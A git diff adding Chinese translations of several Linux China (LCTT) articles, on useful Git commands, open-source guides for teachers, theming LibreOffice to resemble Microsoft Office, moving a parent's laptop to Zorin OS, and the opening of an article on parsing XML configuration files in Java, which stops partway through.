5 commands to level-up your Git game.md @@ -0,0 +1,69 @@ +[#]: subject: (5 commands to level-up your Git game) +[#]: via: (https://opensource.com/article/21/4/git-commands) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (lkxed) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14364-1.html) + +五个提升你的 Git 水平的命令 +====== + +> 将这些命令加入到你的工作流中,使 Git 发挥更大的作用。 + +![](https://img.linux.net.cn/data/attachment/album/202203/17/110616vti9hhsiiq4misra.jpg) + +如果你经常使用 Git,你可能会知道它非常有名。它可能是最受欢迎的版本控制方案,它被一些 [最大的软件项目][2] 用来 [跟踪文件变更][3]。Git 提供了 [健壮的界面][4] 来审阅代码、把实验性的变更合并到已经存在的文件中。得益于 [Git 钩子][5],它以灵活性而闻名。同时,也因为它的强大,它给人们留下了一个“复杂”的印象。 + +Git 有诸多特性,你不必全部使用,但是如果你正在深入研究 Git 的 子命令subcommands,我这里倒是有几个,或许你会觉得有用。 + +### 1、找到变更 + +如果你已经熟悉 Git 的基本指令(`fetch`、`add`、`commit`、`push`、`log` 等等),但是希望学习更多,那么从 Git 的检索子命令开始是一个简单安全的选择。检索你的 Git 仓库(你的 _工作树_)并不会做出任何更改,它只是一个报告机制。你不会像使用 `git checkout` 一样承担数据完整性的风险,你只是在向 Git 请求仓库的当前状态和历史记录而已。 + +[git whatchanged][6] 命令(几乎本身就是一个助记符)可以查看哪些文件在某个提交commit中有变更、分别做了什么变更。它是一个简单的、用户友好的命令,因为它把 `show`、`diff-tree` 和 `log` 这三个命令的最佳功能整合到了一个好记的命令中。 + +### 2、使用 git stash 管理变更 + +你越多地使用 Git,你就会使用 Git 越多。这就是说,一旦你习惯了 Git 的强大功能,你就会更频繁地使用它。有时,你正在处理一大堆文件,忽然意识到了有更紧急的任务要做。这时,在 [git stash][7] 的帮助下,你就可以把所有正在进行的工作收集起来,然后安全地暂存stash它们。当你的工作空间变得整洁有序,你就可以把注意力放到别的任务上,晚些时候再把暂存的文件重新加载到工作树里,继续之前的工作。 + +### 3、使用 git worktree 来得到链接的副本 + +当 `git stash` 不够用的时候,Git 还提供了强大的 [git worktree][8] 命令。有了它,你可以新建一个 _链接的_ 仓库副本clone,组成一个新分支,把 `HEAD` 设置到任意一个提交上,然后基于这个分支开始你的新工作。在这个链接的副本里,你可以进行和主副本完全不同的任务。这是一个避免意外的变更影响当前工作的好办法。当你完成了你的新工作,你可以把新分支推送到远程仓库;也可以把当前的变更归档,晚些时候再处理;还可以从别的工作树中获取它们的变更。无论选择哪一种,你的工作空间之间都会保持相互隔离,任一空间中的变更都不会影响其他空间中的变更,直到你准备好了要合并它们。 + +### 4、使用 git cherry-pick 来选择合并 + +这可能听起来很反直觉,但是,你的 Git 水平越高,你可能遇到的合并冲突就会越多。这是因为合并冲突不一定是错误的标志,而是活跃的标志。在学习 Git 中,适应合并时的冲突,并学会如何解决它们是非常重要的。通常的方式或许够用,但是有时候你会需要更加灵活地进行合并,这时候就该 [git cherry-pick][9] 出场了。遴选操作允许你选择部分合并提交,这样一来你就不需要因为一些细微的不协调而拒绝整个合并请求了。 + +### 5、使用 Git 来管理 $HOME + +使用 Git 来管理你的主目录从来没有这么简单过,这都要归功于 Git 可以自由选择管理对象的能力,这是一个在多台计算机之间保持同步的现实可行的选项。但是,想要让它工作顺利,你必须非常明智且谨慎才行。如果你想要了解更多,点击阅读我写的关于 [使用 Git 来管理 $HOME][10] 的小技巧。 + +### 更好地使用 Git + +Git 是一个强大的版本控制系统,你使用得越熟练,就可以越轻松地借助它来完成复杂的任务。今天就尝试一些新的 Git 命令吧,欢迎在评论区分享你最喜欢的 Git 命令。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/4/git-commands + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png?itok=-8E2ihcF (Woman using laptop concentrating) +[2]: https://opensource.com/article/19/10/how-gnome-uses-git +[3]: https://opensource.com/article/18/2/how-clone-modify-add-delete-git-files +[4]: https://opensource.com/article/18/5/git-branching +[5]: https://opensource.com/life/16/8/how-construct-your-own-git-server-part-6 +[6]: https://opensource.com/article/21/3/git-whatchanged +[7]: https://opensource.com/article/21/3/git-stash +[8]: https://opensource.com/article/21/3/git-worktree +[9]: https://opensource.com/article/21/3/reasons-use-cherry-picking +[10]: https://opensource.com/article/21/3/git-your-home diff --git a/published/202203/20210606 5 handy guides to open source for teachers.md b/published/202203/20210606 5 handy guides to open source for teachers.md new file mode 100644 index 0000000000..b47c8d061d --- /dev/null +++ b/published/202203/20210606 5 handy guides to open source for teachers.md @@ -0,0 +1,74 @@ +[#]: subject: (5 handy guides to open source for teachers) +[#]: via: (https://opensource.com/article/21/6/open-source-guides-teachers) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (lkxed) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14386-1.html) + +5 个为教师准备的方便的开源指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/23/162904laqecdh4xraveac7.jpg) + +> 我们收集了一些最受欢迎的简明指南,它们既能满足你充分利用暑假的愿望,又能满足你为下一个学期做规划的需要。 + +对一些老师来说,夏天到了,一个漫长的(希望也是放松的)假期也到了。所有我认识的老师都是自豪的终身学习者,尽管暑假过后,又有一个新学期会到来。为了帮助你充分利用暑假时间,与此同时也为即将到来的下一个学期做好准备,我们收集了一些最受欢迎的 _简明_ 指南。 + +### 如何让你的学校做好准备(在新冠疫情下) + +通过 [在 Linux 上来完成所有相关工作][2],Robert Maynord 老师确保了他的学校为远程学习做好了准备,甚至在疫情前他就这么做了。虽然我们还不知道在今年剩下的时间里会发生什么,但是,如果说新冠疫情向世界展示了什么,那就是 [数字转型][3](指把数字技术融入到教育的各个领域)不仅是可能的,而且对教师和学生来说都是有益的。你可能无权在技术层面上改变课堂的运作方式,但你仍然可以做很多小的改变,为学生创造更灵活的学习体验。 + +### 为教师准备的终极开源指南 + +通过本文,你可以学习如何在课堂上 [融入开源原则][4]。开源不仅仅和科技相关,它同时也关于知识共享、团队协作以及为了一个共同目标而努力。你可以把你的教室变成一个共享的空间,让学生们互相学习,就像他们向你学习一样。阅读开源,把开源付诸实践,并鼓励学生们积极参与。 + +### 8 个为虚拟教室准备的 WordPress 插件 + +WordPress Web 平台是一个构建网站的强大工具。在教室里,它可以作为教授 Web 技术、创意写作和学术写作的 [一个很好的工具][5]。它也可以被用来帮助远程学习,或者是把日常的学校作业数字化。通过掌握 WordPress 的诸多 [附加功能],你可以从中获取到最大的教育收益。 + +### 教孩子们写 Python(交互式游戏) + +开源工具可以帮助任何人以一种轻松有趣的方式开始学习 Python —— 那就是制作游戏。当然,Python 涉及到很多方面的东西。别担心,我们有一个课程可以带你从安装 Python 开始,通过简单的文本代码和 “海龟turtle” 绘图游戏开始你的第一步,一直到中级游戏开发。 + + 1. 首先,安装 Python,阅读我们的 [Python 入门文章][7],熟悉编程的概念。单单是这篇文章里的内容就可以作为两节或三节不同课程的基础哦。 + 2. 然后,如果你熟悉 [Jupyter][8] 库的话,可以学习 [使用 Python 和 Jupyter 来编写一个简单游戏][9]。 + 3. 接着,你也可以 [在这本 Python 电子书里学到游戏开发的知识][10],里面会教你如何使用 Git、Python 和 PyGame 库。当你学会了这些基础内容,你可以看看 [这本书里的 "游戏测试员" 的有趣创作集合][11]。 + +如果 Python 对你或你的学生来说太难了,那么看看 [Thine][12] 吧,它是一个简单的基于 HTML 的交互式的讲故事工具。 + +### 教孩子们玩树莓派(编程) + +我们的指南中有一篇 [树莓派入门指南][13],其中探索了各种帮助孩子们学习编程的资源。树莓派的特点是它足够便宜,只要花 35 美元,你就可以买到一个全功能的 Linux 电脑。然后你就在上面做任何事,不管是基本的 Python 学习还是搭建实际的网络服务器,因此,它有着巨大的教育潜力。你完全可以为每一个学生都配一个树莓派,或者你也可以让班里的学生共享一个树莓派(Linux 是多用户操作系统,只要设置得当,所有的学生都可以同时使用这个树莓派,直到你说服他们的家长购买更多树莓派)。 + +### 一起学习 + +开放课堂的关键之一是要勇敢地和学生一起学习。作为一个老师,你可能习惯了掌握所有的答案,但是数字世界是不断改变和进化的。不要害怕 _和_ 你的学生们一起学习 Python、Linux、树莓派或者任何其他东西,一起学习新的基础知识、小技巧和解决问题的新方式。开源是一种经过验证的成功方法,所以不要只是教授开源而已,还要让开源在你的课堂上得以运用。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/open-source-guides-teachers + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tips_map_guide_ebook_help_troubleshooting_lightbulb_520.png?itok=L0BQHgjr (Looking at a map) +[2]: https://opensource.com/article/21/5/linux-school-servers +[3]: https://enterprisersproject.com/what-is-digital-transformation +[4]: https://opensource.com/article/20/7/open-source-teachers +[5]: https://opensource.com/article/20/3/wordpress-education +[6]: https://opensource.com/article/20/5/wordpress-plugins-education +[7]: https://opensource.com/article/17/10/python-101 +[8]: https://opensource.com/article/18/3/getting-started-jupyter-notebooks +[9]: https://opensource.com/article/20/5/python-games +[10]: https://opensource.com/article/20/10/learn-python-ebook +[11]: https://github.com/MakerBox-NZ?q=pygame&type=&language=&sort= +[12]: https://opensource.com/article/18/2/twine-gaming +[13]: https://opensource.com/article/19/3/teach-kids-program-raspberry-pi diff --git a/published/202203/20210622 How to Make LibreOffice Look Like Microsoft Office.md b/published/202203/20210622 How to Make LibreOffice Look Like Microsoft Office.md new file mode 100644 index 0000000000..e5c580f41e --- /dev/null +++ b/published/202203/20210622 How to Make LibreOffice Look Like Microsoft Office.md @@ -0,0 +1,113 @@ +[#]: subject: (How to Make LibreOffice Look Like Microsoft Office) +[#]: via: (https://www.debugpoint.com/2021/06/libreoffice-like-microsoft-office/) +[#]: author: (Arindam https://www.debugpoint.com/author/admin1/) +[#]: collector: (lujun9972) +[#]: translator: (robsean) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14412-1.html) + +如何使 LibreOffice 看起来像微软 Office +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/29/224638h4k4bg561ix4qnb6.jpg) + +> 我们做了一次尝试,使 LibreOffice 套件看起来像微软 Office。能做到吗?让我们来看看。 + +[LibreOffice][1] 是一个自由开源的办公生产力套件,它向你提供了一套完整的应用程序集合。它包含文字处理器(Writer)、电子表格程序(Calc)、演示程序(Impress)和 绘图程序(Draw)。它还为你提供了一个独立的数据库系统(LibreOffice Base),以及 LibreOffice Math 是一个帮助学生、研究人员编写公式和方程的程序。 + +然而,广泛使用的 [微软 Office][2] 是一个付费的办公生产力套件,提供了优秀的程序来完成几乎所有的关于学习、办公和企业应用的任务。 + +这两组程序套件是不同的,但是它们在功能方面的目标是相同的。由于它的流行,微软 Office 被广泛的使用,并被使用者熟知。不过,这里有很多使用者更喜欢免费的 LibreOffice 来支撑他们的工作和活动。与微软 Office 相比,采用 LibreOffice 有时会很困难 —— 尽管大多数的菜单项和工具都是一样的。 + +尽管如此,如果你可以使 LibreOffice 看起来像微软 Office ,那么,对于初次使用 LibreOffice 的用户来说会更容易接纳,他们大多数是有使用微软 Office 的经历背景的用户。外观和感受在用户的头脑中起着重要的作用,也包含他们的肌肉记忆和对颜色、菜单项的熟悉度。 + +当然,你不可能使它完全像微软 Office,因为它们使用了不同的图标、字体等等。不过,你可以将其微调到一定程度。 + +### 使 LibreOffice 看起来像微软 Office + +这篇指南是以 LibreOffice 7.2(开发版)版本为基础所编写的。 + +#### 1、用户界面的变化 + +LibreOffice 有一个名为“标签栏” 的 “功能区Ribbon” 式工具栏。尽管它带有多种工具栏变体(如下)。但是,对于这篇指南,我使用 标签式Tabbed 工具栏选项。 + + * 打开 LibreOffice 并转到 “菜单Menu > 视图View > 用户界面User Interface”。 + * 从 UI 部分中选择 “标签式Tabbed” 。 + + ![tabbed bar option][3] + + * 点击 “应用于全部Apply to All” 。LibreOffice 也提供一个选项,可以将特定的工具栏样式应用到 Writer 或 Calc。如果你想要一种不同的工具栏样式,你可以选择这种方法。但是,我推荐使用应用于全部来使其保持一致。 + * 现在,你已经有了微软 Office 样式的功能区。尽管它们并不是完全相同,但是你也能体会到它的感受。 + +#### 2、适用于 LibreOffice 的微软 Office 图标 + +工具栏中的图标在你的工作流中起着重要的作用。LibreOffice 为你的工具栏提供一些漂亮的图标。其中最好的一些是: + + * Karasa Jaga + * Colibre + * Elementary + +针对这篇指南,我们将使用 [Office 2013 图标集][4],它是由一名作家开发的,可以在 Devian Art 中获得。 + + * 转到下面的链接并下载 LibreOffice 扩展文件(*.oxt),对于 LibreOffice 的较新版本,你需要使用扩展文件来安装图标集。 + - [下载适用于 libreoffice 的 Office 2013 图标集][5] + * 在下载后,双击 .oxt 文件来将其打开。或者,按下 `CTRL+ALT+E` 组合按键来打开扩展管理器,并使用 “添加Add” 按钮来选择已下载的 .oxt 文件。在完成后关闭窗口。 + + ![Import icon sets in Extension Manager][6] + + * 现在,转到 “工具Tools > 选项Options > 视图View”。从“图标样式Icon Style”中选择 “Office 2013” 。 + * 通过 “图标大小Icon Size > 笔记本栏Notebookbar > Large” 来更改图标大小。如果你感觉图标有点小,你可以更改它们。不过,我觉得要使它更像 Office ,将图标设置的较大一点的效果会更好。 + + ![Change icons in Options][7] + +就这样,你的 LibreOffice 应该看起来像这样: + +![在 KDE Plasma 中让 LibreOffice 看起来像微软 Office][9] + +![在 Windows 10 中让 LibreOffice 看起来像微软 Office][10] + +![在 GNOME 中让 LibreOffice 看起来像微软 Office][11] + +注意,如果你正在使用 Ubuntu、KDE Plasma,或者任何 Linux 发行版,它们的外观可能会有所不同。但是,在我看来,在 KDE Plasma 中比在 GNOME 中看起来更像微软 Office 。LibreOffice 目前在基于 GTK 的系统中看起来并不太好。 + +不过,在 Windows 中,它看起来会更像,因为它使用同一个系统的字体和颜色面板。 + +这些是你可以使用的一些设置,不过,你可以随心所欲地自由调整更多的定制、图标和主题。如果你喜欢 LibreOffice 的深色模式,你可能想要阅读我们的教程 – [如何在 LibreOffice 中启用深色模式][12]。 + +### 结束语 + +微软 Office 毫无疑问是办公生产力领域的市场领导者。这是有原因的,它来自数十年的开发。它不是免费的产品,事实上,最新的 Office 365 家庭版本的价格大约是 7 美元/月,可以在 3 到 4 台设备上使用。在我看来,它有点小贵。 + +然而 LibreOffice 是免费的,由文档基金会领导的社区开发。因此,开发速度较慢、功能出现也较晚。它并不是要成为微软 Office ,而是要给数以百万计的用户、学校、非营利组织、高校、学生一个使用免费办公套件工作和学习的机会。 + +因此,如果它能够模仿基本的外观和感受,使其像微软 Office 一样,从而调高 LibreOffice 的使用率,那将是有益的。我希望这篇指南能在这个方向上能起到一点作用。 + +- [链接: LibreOffice 和 Microsoft Office 的官方功能比较][13] + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2021/06/libreoffice-like-microsoft-office/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: http://libreoffice.com +[2]: http://office.com +[3]: https://www.debugpoint.com/blog/wp-content/uploads/2021/06/tabbed-bar-option.jpg +[4]: https://www.deviantart.com/charliecnr/art/Office-2013-theme-for-LibreOffice-512127527 +[5]: https://www.deviantart.com/users/outgoing?https://1drv.ms/u/s!ArgKmgFcmBYHhSQkPfyMZRnXX5LJ +[6]: https://www.debugpoint.com/blog/wp-content/uploads/2021/06/Import-icon-sets-in-Extension-Manager.jpg +[7]: https://www.debugpoint.com/blog/wp-content/uploads/2021/06/Change-icons-in-Options-1024x574.jpg +[8]: https://www.debugpoint.com/2021/05/libreoffice-7-2/ +[9]: https://www.debugpoint.com/blog/wp-content/uploads/2021/06/Making-LibreOffice-look-like-Microsoft-Office-in-KDE-Plasma-1024x441.jpg +[10]: https://www.debugpoint.com/blog/wp-content/uploads/2021/06/Making-LibreOffice-look-like-Microsoft-Office-in-Windows-10-1024x554.jpg +[11]: https://www.debugpoint.com/blog/wp-content/uploads/2021/06/Making-LibreOffice-look-like-Microsoft-Office-in-GNOME-1024x498.jpg +[12]: https://www.debugpoint.com/2020/01/how-to-enable-dark-mode-libreoffice/ +[13]: https://wiki.documentfoundation.org/Feature_Comparison:_LibreOffice_-_Microsoft_Office diff --git a/published/202203/20210626 How I helped my mom switch from Windows to Linux.md b/published/202203/20210626 How I helped my mom switch from Windows to Linux.md new file mode 100644 index 0000000000..1940014eac --- /dev/null +++ b/published/202203/20210626 How I helped my mom switch from Windows to Linux.md @@ -0,0 +1,152 @@ +[#]: subject: (How I helped my mom switch from Windows to Linux) +[#]: via: (https://opensource.com/article/21/6/mom-switch-linux) +[#]: author: (Tomasz https://opensource.com/users/tomaszwaraksa) +[#]: collector: (lujun9972) +[#]: translator: (lkxed) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14407-1.html) + +我是如何帮助妈妈从 Windows 切换至 Linux 的 +====== + +> 有了 Linux,即便是新手用户,也能通过大量熟悉的应用程序获得流畅、精致的桌面体验。 + +![](https://img.linux.net.cn/data/attachment/album/202203/29/103155z5khz7z05fl7mz7l.jpg) + +大型强子对撞机是 [由 Linux 驱动][2] 的,国际空间站上的笔记本电脑是 [运行在 Linux 上][3] 的,[Instagram][4] 和 [Nest thermostats][5] 也是如此。最近,我们观看了 机智号Ingenuity 在火星上空飞翔,它是一个令人惊叹的无人直升机,也是 [由 Linux 驱动的][6]!这进一步证明了这个操作系统的灵活性和通用性。 + +但是现在,真正的大新闻来了。我在这里“官宣”:Linux 也可以给父母使用! + +### 事情经过 + +大约一年前,我决定把妈妈的电脑环境迁移至 Linux。现在,一年过去了,是时候回顾和总结一下了。 + +和大多数人一样,我是专属的 “妈妈的电脑管理员”。我的妈妈是一个 60 多岁的可爱老太太 —— 一个真正的甜心。她的电脑技能很基础,她的电脑使用需求也很基础:上上网,发发邮件,打打字,浏览、编辑照片,看看视频听听歌,还有就是在 Skype 或者 Signal 上和家里人或者朋友们打打电话。 + +直到去年之前,妈妈一直在使用一个 Windows 笔记本电脑。电脑已经很旧了,但还不算太糟糕。于是在某一天,通过欺骗、威胁和弹出讨厌的窗口等手段,微软终于成功让她点击了那个可怕的按钮 —— “升级到 Windows 10”。 + +她绝望地向我呼救。作为妈妈的电脑管理员,我的生活很快就变成了地狱。“为什么所有东西看起来都不一样了?我的应用列表跑去哪儿了?什么,这堆瓷块一样的东西变成我的应用列表了?我的电脑怎么变得这么慢?它怎么每天都要自动更新重启,而且偏偏就是在我想要用它的时候?为什么有东西(她指的是硬盘)一直嗡嗡嗡地叫?它到底一直在忙些什么啊?” + +可是我又看不到源代码,我怎么它一直在忙些什么呢? + +本来我是打算回滚这个升级的,但是 Windows 7 马上就要终止支持了,我担心会发生最坏的事情:没有了安全更新,妈妈的电脑很快就会变成数不清的僵尸网络bot networks中的一员,一天到晚地挖矿、发送垃圾邮件,以及对全国的重要设施发动恶毒的 DDOS 攻击。最后还是需要我来清理这个烂摊子 —— (而且是)每一个周末。 + +### 大救星 Linux 来了 + +我决定把她的电脑环境迁移到 Linux 上,反正也没有什么可损失的。我自己在五年前就这么做了,我从未那么开心过。不如让妈妈也试试,肯定不会有什么坏处。 + +当妈妈知道我要一次性解决她所有的问题时,她非常开心。但她不知道的是,她将成为一项为期一年的科学实验的关键部分,这个实验叫做:“妈妈能学会使用 Linux 吗?” + +![Cowsay "Can Mom Survive Linux?"][7] + +(图源 Tomasz Waraksa,遵从[署名-相同方式共享 4.0 国际协议CC BY-SA 4.0][8]) + +于是,在 2020 年 2 月的某一天,我从遥远的都柏林带着一台使用七年的联想 Yoga 13 来到这里,这台电脑和妈妈那台有着相似的参数,但它的屏幕要好很多,而且只有一半的重量。我在 VirtualBox 里讨论和测试了不同的 Linux 发行版,最终选择了 [Zorin OS][9] 发行版,一个自豪的“爱尔兰造”系统。我选择它是考虑到了下面几个因素: + + * 它基于我最熟悉的 Ubuntu Linux。 + * 它和 Windows 7 很像,在精心设计的同时考虑到了 Windows 难民。 + * 我感觉它很轻量、简单,对妈妈来说足够保守。完全没有 macOS Big Sur 上的花里胡哨! + +![Zorin OS desktop][10] + +(图源 Tomasz Waraksa,遵从[署名-相同方式共享 4.0 国际协议CC BY-SA 4.0][8]) + +### 系统安装 + +我用自己一贯的方式安装了这个操作系统,为 `/home` 目录单独分了一个区,这样一来,系统重装时(尽管不大可能发生)妈妈的文件仍然能够保持安全。这是我的惯用技巧,它可以方便我安装发行版的深夜更新。 + +在安装过程中,我选择了波兰语作为用户界面语言。和我一样,妈妈也是个彻头彻尾的波兰人。不必担心,Linux 看起来支持所有语言,甚至包括 [克林贡语][11]。 + +接着,根据妈妈的需求,我安装了下面这些应用: + + * Skype + * [Signal 桌面客户端][12] + * 谷歌 Chrome 浏览器 + * [Geary][13] 邮件客户端 + * [gThumb][14],用来浏览和编辑照片 + * [VLC][15],用来播放视频和音乐 + * Softmaker Office,用来编辑文本和表格 + +注意到列表里没有杀毒软件了吗?好耶! + +一个小时后,系统和应用全部安装完成,妈妈的 Zorin OS 已准备就绪。 + +![Zorin OS home folder][16] + +(图源 Tomasz Waraksa,遵从[署名-相同方式共享 4.0 国际协议CC BY-SA 4.0][8]) + +### 设置系统 + +我通过下面这几个步骤,让自己成为了妈妈的电脑管理员: + + * 为我自己创建了一个管理员账户 + * 把妈妈的账户设置为非管理员 + * 安装了用于远程无人值守访问的 `ssh` 守护程序 + * 把这台机器加入到了我的 Hamachi VPN 中:这样一来,我就可以安全地使用 ssh 连接,而不需要打开路由器上的 `22` 端口。Hamachi 是一个由 LogMeIn 提供的 VPN 服务。它是一个传统的 VPN,我的意思是,它的目标不是让你在另外一个国家运行 Netflix 应用,而是在互联网上为计算机之间建立一个安全的网络连接。 + * 启动了简单防火墙(`ufw`)并允许 ssh 流量 + * 安装了 AnyDesk 来远程登录到桌面 + +这样操作之后,我就可以通过安全的 ssh 连接访问到妈妈的笔记本电脑。我可以通过 shell 进行定期维护,而妈妈甚至不会注意到任何事情。这是因为 Linux 完成更新后通常 _不需要_ 重新启动。真是一个奇迹啊!简直不可能的事,它是怎么做到的呢? + +![Updating software remotely][17] + +(图源 Tomasz Waraksa,遵从[署名-相同方式共享 4.0 国际协议CC BY-SA 4.0][8]) + +### 妈妈能学会使用 Linux 吗 + +毫无疑问! + +尽管当我把新电脑展示给她看的时候,她确实有问到为什么这个新的 Windows 又看起来不一样了。我不得不解释说这个其实不是 Windows,而是 Linux,然后向她解释了为什么我们都爱 Linux。不过,她学得很快。这个经典的 Zorin OS 桌面和她用惯了的 Windows 7 十分相似。我看到她在系统里点来点去,然后很轻松地找到并且运行了她熟悉的应用程序。 + +她立刻就注意到电脑启动快了很多,表现也好了很多。 + +然后她开始问我什么时候会给她做电脑的定期清理,好让她电脑不会再一次变慢。我和她解释说,以她的日常使用量,不需要再做定期清理了。Linux 和 Windows 不一样,它不会自己“腐烂”的。目前来说,的确如此。她的电脑仍然像第一天那样流畅和快速。 + +我时不时地会问她对新电脑感觉怎么样,她总是回答说很满意。一切都很顺利。电脑也不会莫名其妙就变得忙起来。再也不会有一些“很重要的更新”来打断她。应用菜单也总是在它该在的地方。在这个全新的环境中,她对自己常用的应用程序也感到满意。 + +在这一年中,我远程登录过几次她的电脑,为的是进行常规的软件包升级。我还使用 AnyDesk 登录过两次她的桌面。一次是妈妈问我能不能帮她把 SD 卡里的照片自动导入到 `~/Pictures` 目录里,如果能够放到以日期命名的目录里就更好了。当然可以,只要懂一点点的 Bash,就可以使用 `gThumb` 很轻松地实现这个功能。另一次,我把她经常访问的网站添加到了桌面,这样她点击桌面图标就可以访问了。 + +这就是目前我作为妈妈的 Linux 管理员所做的全部事情!按照这个情况,我还可以再给 50 个妈妈当电脑管理员! + +### 总结 + +我希望我的故事能够启发你考虑迁移到 Linux。过去,我们认为 Linux 对于普通用户来说太难了。但今天,我相信事实恰恰相反。用户使用电脑越不熟练,他们就越有理由迁移到 Linux! + +有了 Linux,即便是新手用户,也能通过大量熟悉的应用程序获得流畅、精致的桌面体验。新手用户们将比在任何其他流行的计算平台上都要安全得多。并且,通过远程访问来帮助他们从未如此简单和安全! + +_免责声明:本文不推广所描述的任何产品、服务或供应商。我与他们没有任何商业利益或联系。我并没有在暗示这些产品或服务是最适合你的,也不承诺你的体验会和我一样。_ + +_本文最初发布在 [Let's Debug It][18] 上,在获得许可后重新使用。_ + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/mom-switch-linux + +作者:[Tomasz][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/tomaszwaraksa +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/heart_lego_ccby20.jpg?itok=VRpHf4iU (Red Lego Heart) +[2]: https://www.redhat.com/en/about/press-releases/red-hat-provides-cern-platform-mission-critical-applications +[3]: https://www.extremetech.com/extreme/155392-international-space-station-switches-from-windows-to-linux-for-improved-reliability +[4]: https://instagram-engineering.com/what-powers-instagram-hundreds-of-instances-dozens-of-technologies-adf2e22da2ad +[5]: https://www.theverge.com/2011/11/14/2559567/tony-fadell-nest-learning-thermostat +[6]: https://www.zdnet.com/article/to-infinity-and-beyond-linux-and-open-source-goes-to-mars/ +[7]: https://opensource.com/sites/default/files/uploads/intro.png (Cowsay "Can Mom Survive Linux?") +[8]: https://creativecommons.org/licenses/by-sa/4.0/ +[9]: https://zorinos.com/ +[10]: https://opensource.com/sites/default/files/uploads/zorin-os-desktop.png (Zorin OS desktop) +[11]: https://blogs.gnome.org/muelli/2010/04/klingon-language-support/ +[12]: https://github.com/signalapp +[13]: https://wiki.gnome.org/Apps/Geary +[14]: https://wiki.gnome.org/Apps/Gthumb +[15]: https://www.videolan.org/vlc/ +[16]: https://opensource.com/sites/default/files/uploads/zorin-os-home-folder.png (Zorin OS home folder) +[17]: https://opensource.com/sites/default/files/uploads/upgrading-software.png (Updating software remotely) +[18]: https://letsdebug.it/post/16-linux-for-mars-copters-moms-and-pops/ diff --git a/published/202203/20210707 Parsing config files with Java.md b/published/202203/20210707 Parsing config files with Java.md new file mode 100644 index 0000000000..c97e721a53 --- /dev/null +++ b/published/202203/20210707 Parsing config files with Java.md @@ -0,0 +1,350 @@ +[#]: subject: (Parsing config files with Java) +[#]: via: (https://opensource.com/article/21/7/parsing-config-files-java) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (lkxed) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14381-1.html) + +使用 Java 解析 XML 文件 +====== + +> 在你使用 Java 编写软件时实现持久化配置。 + +![](https://img.linux.net.cn/data/attachment/album/202203/22/091553wf2gvj20fn4wfgpw.jpg) + +当你编写一个应用时,你通常都会希望用户能够定制化他们和应用交互的方式,以及应用与系统进行交互的方式。这种方式通常被称为 “偏好preference” 或者 “设置setting”,它们被保存在一个 “偏好文件” 或者 “配置文件” 中,有时也直接简称为 “配置config”。配置文件可以有很多种格式,包括 INI、JSON、YAML 和 XML。每一种编程语言解析这些格式的方式都不同。本文主要讨论,当你在使用 [Java 编程语言][2] 来编写软件时,实现持久化配置的方式。 + +### 选择一个格式 + +编写配置文件是一件相当复杂的事情。我曾经试过把配置项使用逗号分隔保存在一个文本文件里,也试过把配置项保存在非常详细的 YAML 和 XML 中。对于配置文件来说,最重要是要有一致性和规律性,它们使你可以简单快速地编写代码,从配置文件中解析出数据;同时,当用户决定要做出修改时,很方便地保存和更新配置。 + +目前有 [几种流行的配置文件格式][3]。对于大多数常见的配置文件格式,Java 都有对应的library。在本文中,我将使用 XML 格式。对于一些项目,你可能会选择使用 XML,因为它的一个突出特点是能够为包含的数据提供大量相关的元数据,而在另外一些项目中,你可能会因为 XML 的冗长而不选择它。在 Java 中使用 XML 是非常容易的,因为它默认包含了许多健壮的 XML 库。 + +### XML 基础 + +讨论 XML 可是一个大话题。我有一本关于 XML 的书,它有超过 700 页的内容。幸运的是,使用 XML 并不需要非常了解它的诸多特性。就像 HTML 一样,XML 是一个带有开始和结束标记的分层标记语言,每一个标记(标签)内可以包含零个或更多数据。下面是一个 XML 的简单示例片段: + + +``` + +    Penguin + +``` + +在这个 自我描述的self-descriptive 例子中,XML 解析器使用了以下几个概念: + + * 文档Document:`` 标签标志着一个 _文档_ 的开始,`` 标签标志着这个文档的结束。 + * 节点Node:`` 标签代表了一个 _节点_。 + * 元素Element:`Penguin` 中,从开头的 `<` 到最后的 `>` 